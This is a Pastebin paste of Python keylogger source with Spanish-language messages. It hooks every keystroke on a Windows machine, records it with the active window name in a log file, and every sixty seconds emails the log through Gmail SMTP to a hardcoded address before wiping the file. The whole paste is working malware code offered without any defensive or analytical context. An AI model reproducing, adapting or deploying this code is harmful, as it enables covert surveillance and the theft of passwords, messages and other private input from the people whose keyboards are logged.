Guest User

Untitled

a guest
Jun 18th, 2018
290
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.04 KB | None | 0 0
  1. import pyHook, pythoncom, sys, logging
  2. import time, datetime
  3.  
  4. wait_seconds = 60
  5. timeout = time.time() + wait_seconds
  6. file_log = r'..\KeyLogger\dat.txt'
  7.  
  8. def TimeOut():
  9. if time.time() > timeout:
  10. return True
  11. else:
  12. return False
  13.  
  14. def SendEmail(user, pwd, recipient, subject, body):
  15. import smtplib
  16.  
  17. gmail_user= user
  18. gmail_pass = pwd
  19. FROM = user
  20. TO = recipient if type(recipient) is list else [recipient]
  21. SUBJECT = subject
  22. TEXT = body
  23.  
  24. message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
  25. """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
  26. try:
  27. server = smtplib.SMTP("smtp.gmail.com", 587)
  28. server.ehlo()
  29. server.starttls()
  30. server.login(gmail_user, gmail_pass)
  31. server.sendmail(FROM, TO, message)
  32. server.close()
  33. print ('Correo enviado satisfactoriamente!')
  34. except:
  35. print ('Error al mandar correo!')
  36.  
  37. def FormatAndSendLogEmail():
  38. with open(file_log, 'r+') as f:
  39. actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  40. data = f.read().replace('\n', '')
  41. data = 'Log capturado a las: '+ actualdate + '\n begin data \n' + data + '\n end data'
  42. SendEmail('correo@gmail.com', 'contraseña.', 'correo@gmail.com',
  43. 'Nuevo log - '+actualdate, data)
  44. f.seek(0)
  45. f.truncate()
  46.  
  47. def OnKeyboardEvent(event):
  48. logging.basicConfig(filename=file_log, level=logging.DEBUG,
  49. format = '%(message)s')
  50. data_key = 'WindowName:'+str(event.WindowName)+ '; Ascii:'+ str(event.Ascii)+" "+ chr(event.Ascii)+ '; Key:'+ str(event.Key)+ '; KeyID:'+ str(event.KeyID)+ '; ScanCode:'+ str(event.ScanCode)
  51. logging.log(10, data_key)
  52. #print ('WindowName:',event.WindowName)
  53. #print ('Ascii:', event.Ascii, chr(event.Ascii))
  54. #print ('Key:', event.Key)
  55. #print ('KeyID:', event.KeyID)
  56. #print ('ScanCode:', event.ScanCode)
  57. return True
  58.  
  59. hooks_manager = pyHook.HookManager()
  60. hooks_manager.KeyDown = OnKeyboardEvent
  61. hooks_manager.HookKeyboard()
  62.  
  63. while True:
  64. if TimeOut():
  65. FormatAndSendLogEmail()
  66. timeout = time.time() + wait_seconds
  67.  
  68. pythoncom.PumpWaitingMessages()
Add Comment
Please, Sign In to add comment